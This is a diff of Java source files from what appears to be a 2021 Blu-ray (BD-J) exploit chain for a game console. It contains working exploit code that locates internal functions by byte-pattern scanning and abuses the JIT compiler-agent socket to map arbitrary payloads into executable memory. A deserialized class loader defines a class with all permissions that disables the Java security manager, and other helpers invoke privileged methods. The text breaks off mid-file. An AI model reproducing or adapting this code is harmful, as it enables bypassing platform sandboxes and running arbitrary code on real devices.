import com.sony.gemstack.org.dvb.io.ixc.IxcProxy;
import java.rmi.RemoteException;
/** IxcProxy implementation that allows certain public methods to be invoked with privileges. */
class IxcProxyImpl extends IxcProxy {
private static IxcProxyImpl instance;
private Object remote;
private IxcProxyImpl(CoreIxcClassLoader localClassLoader, CoreIxcClassLoader remoteClassLoader) {
super(localClassLoader, remoteClassLoader);
}
static synchronized IxcProxyImpl getInstance() {
if (instance == null) {
CoreIxcClassLoader coreIxcClassLoader = CoreAppContext.getContext().getIxcClassLoader();
instance = new IxcProxyImpl(coreIxcClassLoader, coreIxcClassLoader);
}
return instance;
}
public Object getRemote() {
return remote;
}
public void forgetRemote() {}
/** Override to avoid serializing the return object. */
protected Object replaceObject(Object obj, CoreIxcClassLoader coreIxcClassLoader)
throws RemoteException {
return obj;
}
public Object invokeMethod(Object obj, String name, String signature, Object[] args)
throws Exception {
this.remote = obj;
return super.invokeMethod(args, name, signature);
}
}

160
com/bdjb/JIT.java

@ -0,0 +1,160 @@ @@ -0,0 +1,160 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.RandomAccessFile;
/**
* JIT class that exploits a vulnerability in the runtime-compiler protocol to map payloads to
* executable memory.
*/
final class JIT {
static final int BDJ_MODULE_HANDLE = 0;
static final int MAX_JIT_SIZE = 24 * 1024 * 1024; // Actually max is 30MB, but let's be safe.
static final int PAGE_SIZE = 0x4000;
static final int ALIGNMENT = 0x100000;
private static final int CHUNK_SIZE = 0x30;
private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160;
private static final int COMPILER_AGENT_REQUEST_SIZE = 0x58;
private static final byte ACK_MAGIC_NUMBER = (byte) 0xAA;
private static final byte[] BUFFER_BLOB_CREATE_SEQ = {
(byte) 0x89, (byte) 0xF8, (byte) 0x49, (byte) 0x8B, (byte) 0x0F
};
private static final byte[] COMPILER_AGENT_SENDER_THREAD_SEQ = {
(byte) 0x4C, (byte) 0x8B, (byte) 0x70, (byte) 0x08, (byte) 0x41
};
private static final String SCE_KERNEL_GET_MODULE_INFO_SYMBOL = "sceKernelGetModuleInfo";
private static final String WRITE_SYMBOL = "write";
private static final String READ_SYMBOL = "read";
private static JIT instance;
private final API api;
private long sceKernelGetModuleInfo;
private long read;
private long write;
private long BufferBlob__create;
private int compilerAgentSocket;
private JIT() throws Exception {
this.api = API.getInstance();
this.init();
}
static synchronized JIT getInstance() throws Exception {
if (instance == null) {
instance = new JIT();
}
return instance;
}
private void init() {
sceKernelGetModuleInfo =
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL);
read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL);
write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL);
if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) {
throw new IllegalStateException("Symbols could not be found.");
}
long modinfo = api.malloc(SCE_KERNEL_MODULE_INFO_SIZE);
api.memset(modinfo, 0, SCE_KERNEL_MODULE_INFO_SIZE);
api.write64(modinfo + 0x00, SCE_KERNEL_MODULE_INFO_SIZE);
if (api.call(sceKernelGetModuleInfo, BDJ_MODULE_HANDLE, modinfo) != 0) {
throw new IllegalStateException("sceKernelGetModuleInfo failed.");
}
long bdjBase = api.read64(modinfo + 0x108);
long bdjSize = api.read32(modinfo + 0x110);
api.free(modinfo);
int i = 0;
while (i < bdjSize
&& api.memcmp(bdjBase + i, BUFFER_BLOB_CREATE_SEQ, BUFFER_BLOB_CREATE_SEQ.length) != 0) {
i++;
}
if (i == bdjSize) {
throw new IllegalStateException("BufferBlob::create function could not be found.");
}
BufferBlob__create = bdjBase + i - 0x21;
i = 0;
while (i < bdjSize
&& api.memcmp(
bdjBase + i,
COMPILER_AGENT_SENDER_THREAD_SEQ,
COMPILER_AGENT_SENDER_THREAD_SEQ.length)
!= 0) {
i++;
}
if (i == bdjSize) {
throw new IllegalStateException("Compiler agent socket could not be found.");
}
long compilerAgentSocketOpcode = bdjBase + i - 0x10;
compilerAgentSocket =
api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7);
}
long mapPayload(String path) throws Exception {
RandomAccessFile file = new RandomAccessFile(path, "r");
// TODO: Currently we just use maximum size so that the address is predictable.
long size = MAX_JIT_SIZE;
// long size = file.length() + 0x88 + ALIGNMENT - 1;
// if (size >= MAX_JIT_SIZE) {
// throw new IllegalArgumentException("Payload is too big.");
// }
long name = api.malloc(4);
api.strcpy(name, "jit");
long blob = api.call(BufferBlob__create, name, size);
long code = blob + api.read32(blob + 0x20);
api.free(name);
long address = (code + ALIGNMENT - 1) & ~(ALIGNMENT - 1);
long request = api.malloc(COMPILER_AGENT_REQUEST_SIZE);
long response = api.malloc(API.INT8_SIZE);
for (long i = 0; i < file.length(); i += CHUNK_SIZE) {
byte[] chunk = new byte[CHUNK_SIZE];
file.seek(i);
file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE));
api.memset(request, 0, COMPILER_AGENT_REQUEST_SIZE);
api.memcpy(request + 0x00, chunk, CHUNK_SIZE);
api.write64(request + 0x38, address + i - 0x28);
api.call(write, compilerAgentSocket, request, COMPILER_AGENT_REQUEST_SIZE);
api.write8(response, (byte) 0);
api.call(read, compilerAgentSocket, response, API.INT8_SIZE);
if (api.read8(response) != ACK_MAGIC_NUMBER) {
throw new IllegalStateException("Wrong compiler response.");
}
}
api.free(response);
api.free(request);
return address;
}
}

24
com/bdjb/Payload.java

@ -0,0 +1,24 @@ @@ -0,0 +1,24 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.security.AccessController;
import java.security.PrivilegedActionException;
import java.security.PrivilegedExceptionAction;
/** Payload class that is loaded with all permissions in order to disable the security manager. */
public class Payload implements PrivilegedExceptionAction {
public Payload() throws PrivilegedActionException {
AccessController.doPrivileged(this);
}
public Object run() throws Exception {
System.setSecurityManager(null);
return null;
}
}

58
com/bdjb/PayloadClassLoader.java

@ -0,0 +1,58 @@ @@ -0,0 +1,58 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.Serializable;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.InputStream;
import java.security.ProtectionDomain;
import java.security.Permissions;
import java.security.AllPermission;
/** ClassLoader subclass that is instantiated on deserialization. */
class PayloadClassLoader extends ClassLoader implements Serializable {
private static final long serialVersionUID = 0x4141414141414141L;
private static final String PAYLOAD_CLASS_FILE = "/com/bdjb/Payload.class";
private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload";
private static PayloadClassLoader instance;
static PayloadClassLoader getInstance() {
return instance;
}
private void readObject(ObjectInputStream stream) {
instance = this;
}
void newPayload() throws Exception {
InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_FILE);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] buf = new byte[8192];
int read;
while ((read = inputStream.read(buf)) > 0) {
outputStream.write(buf, 0, read);
}
inputStream.close();
byte[] payload = outputStream.toByteArray();
// Instantiate the payload class with all permissions to disable the security manager.
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(null, permissions);
Class payloadClass =
defineClass(PAYLOAD_CLASS_NAME, payload, 0, payload.length, protectionDomain);
payloadClass.newInstance();
}
}

27
com/bdjb/PayloadClassLoaderSerializer.java

@ -0,0 +1,27 @@ @@ -0,0 +1,27 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
/** Simple util to create a serialized object of the PayloadClassLoader class. */
class PayloadClassLoaderSerializer {
public static void main(String[] args) {
try {
ObjectOutputStream objectOutputStream =
new ObjectOutputStream(new FileOutputStream("com/bdjb/PayloadClassLoader.ser"));
objectOutputStream.writeObject(new PayloadClassLoader());
objectOutputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}

65
com/bdjb/ProviderAccessorImpl.java

@ -0,0 +1,65 @@ @@ -0,0 +1,65 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import com.oracle.ProviderAccessor;
import com.oracle.ProviderAdapter;
import com.oracle.security.Service;
import java.util.Arrays;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
import java.security.Provider;
import java.security.Security;
/** ProviderAccessor implementation that allows arbitrary services to be added. */
class ProviderAccessorImpl implements ProviderAccessor {
private final HashMap providerServices = new HashMap();
ProviderAccessorImpl(Provider[] providers) {
this.copyProviderServices(providers);
}
private void copyProviderServices(Provider[] providers) {
for (int i = 0; i < providers.length; i++) {
providerServices.put(providers[i], new HashSet(ProviderAdapter.getServices(providers[i])));
}
}
void setProviderAccessor() {
ProviderAdapter.setProviderAccessor(this);
}
public Service getService(Provider provider, String type, String algorithm) {
Set services = getServices(provider);
if (services != null) {
Iterator iterator = services.iterator();
while (iterator.hasNext()) {
Service service = (Service) iterator.next();
if (service.getType().equals(type)
&& (service.getAlgorithm().equals(algorithm)